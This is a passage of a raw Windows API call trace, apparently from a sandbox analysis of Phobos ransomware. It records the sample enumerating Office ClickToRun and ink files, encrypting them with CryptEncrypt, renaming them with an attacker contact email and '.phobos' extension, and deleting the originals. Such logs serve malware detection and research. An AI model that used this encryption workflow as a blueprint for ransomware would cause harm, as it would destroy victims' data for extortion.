pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0132.784] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x578d8, lpOverlapped=0x0) returned 1 [0132.860] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x578e0, dwBufLen=0x578e0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x578e0) returned 1 [0132.860] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x578e0, lpOverlapped=0x0) returned 1 [0132.867] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e58) returned 1 [0132.867] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0132.867] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0132.867] CryptDestroyKey (hKey=0x752e58) returned 1 [0132.867] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0132.867] CryptDestroyKey (hKey=0x752f98) returned 1 [0132.867] CloseHandle (hObject=0x2f4) returned 1 [0132.867] CloseHandle (hObject=0x2f8) returned 1 [0132.867] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0132.870] SetEvent (hEvent=0x298) returned 1 [0132.870] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.870] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=660136) returned 1 [0132.870] CloseHandle (hObject=0x2f8) returned 1 [0132.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0132.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.871] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.871] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=635040) returned 1 [0132.871] CloseHandle (hObject=0x2f8) returned 1 [0132.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0132.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.871] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.871] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=963240) returned 1 [0132.872] CloseHandle (hObject=0x2f8) returned 1 [0132.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0132.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.872] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.872] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=5967976) returned 1 [0132.872] CloseHandle (hObject=0x2f8) returned 1 [0132.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0132.872] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0132.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0132.873] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0132.873] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0132.873] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0 | out: lpBuffer=0x3111058*, lpNumberOfBytesRead=0x2d4fe44*=0x40000, lpOverlapped=0x0) returned 1 [0132.882] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0132.882] ReadFile (in: hFile=0x2f8, lpBuffer=0x3151058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0 | out: lpBuffer=0x3151058*, lpNumberOfBytesRead=0x2d4fe44*=0x40000, lpOverlapped=0x0) returned 1 [0132.951] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0132.951] ReadFile (in: hFile=0x2f8, lpBuffer=0x3191058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0 | out: lpBuffer=0x3191058*, lpNumberOfBytesRead=0x2d4fe44*=0x40000, lpOverlapped=0x0) returned 1 [0133.036] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe94 | out: phKey=0x2d4fe94*=0x752d58) returned 1 [0133.036] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.036] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe48*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe48*=0xc0060) returned 1 [0133.037] CryptDestroyKey (hKey=0x752d58) returned 1 [0133.037] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe70 | out: lpNewFilePointer=0x0) returned 1 [0133.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2d4fe80, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe80*=0xc0112, lpOverlapped=0x0) returned 1 [0133.053] SetEndOfFile (hFile=0x2f8) returned 1 [0133.053] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe40 | out: lpNewFilePointer=0x0) returned 1 [0133.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x31d114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x31d114a*, lpNumberOfBytesWritten=0x2d4fe4c*=0x40000, lpOverlapped=0x0) returned 1 [0133.055] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe40 | out: lpNewFilePointer=0x0) returned 1 [0133.055] WriteFile (in: hFile=0x2f8, lpBuffer=0x31d114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x31d114a*, lpNumberOfBytesWritten=0x2d4fe4c*=0x40000, lpOverlapped=0x0) returned 1 [0133.058] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe40 | out: lpNewFilePointer=0x0) returned 1 [0133.058] WriteFile (in: hFile=0x2f8, lpBuffer=0x31d114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x31d114a*, lpNumberOfBytesWritten=0x2d4fe4c*=0x40000, lpOverlapped=0x0) returned 1 [0133.059] CloseHandle (hObject=0x2f8) returned 1 [0133.059] SetEvent (hEvent=0x298) returned 1 [0133.060] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.060] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=2776664) returned 1 [0133.060] CloseHandle (hObject=0x2f8) returned 1 [0133.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0133.060] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0133.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0133.062] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.062] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1053784) returned 1 [0133.062] CloseHandle (hObject=0x2f8) returned 1 [0133.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0133.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.063] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.063] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=982720) returned 1 [0133.063] CloseHandle (hObject=0x2f8) returned 1 [0133.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0133.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.063] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.064] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.064] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752a58) returned 1 [0133.064] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.064] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xefec0, lpOverlapped=0x0) returned 1 [0133.267] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xefed0, dwBufLen=0xefed0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xefed0) returned 1 [0133.268] WriteFile (in: hFile=0x300, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xefed0, lpOverlapped=0x0) returned 1 [0133.282] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e18) returned 1 [0133.282] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.282] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0133.282] CryptDestroyKey (hKey=0x752e18) returned 1 [0133.282] WriteFile (in: hFile=0x300, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0133.282] CryptDestroyKey (hKey=0x752a58) returned 1 [0133.282] CloseHandle (hObject=0x2f8) returned 1 [0133.282] CloseHandle (hObject=0x300) returned 1 [0133.282] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0133.289] SetEvent (hEvent=0x298) returned 1 [0133.289] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.289] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=7680) returned 1 [0133.290] CloseHandle (hObject=0x300) returned 1 [0133.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0133.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.290] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.290] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=7680) returned 1 [0133.290] CloseHandle (hObject=0x300) returned 1 [0133.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0133.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.291] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.291] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=763) returned 1 [0133.291] CloseHandle (hObject=0x300) returned 1 [0133.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0133.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.291] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.291] CreateFileW 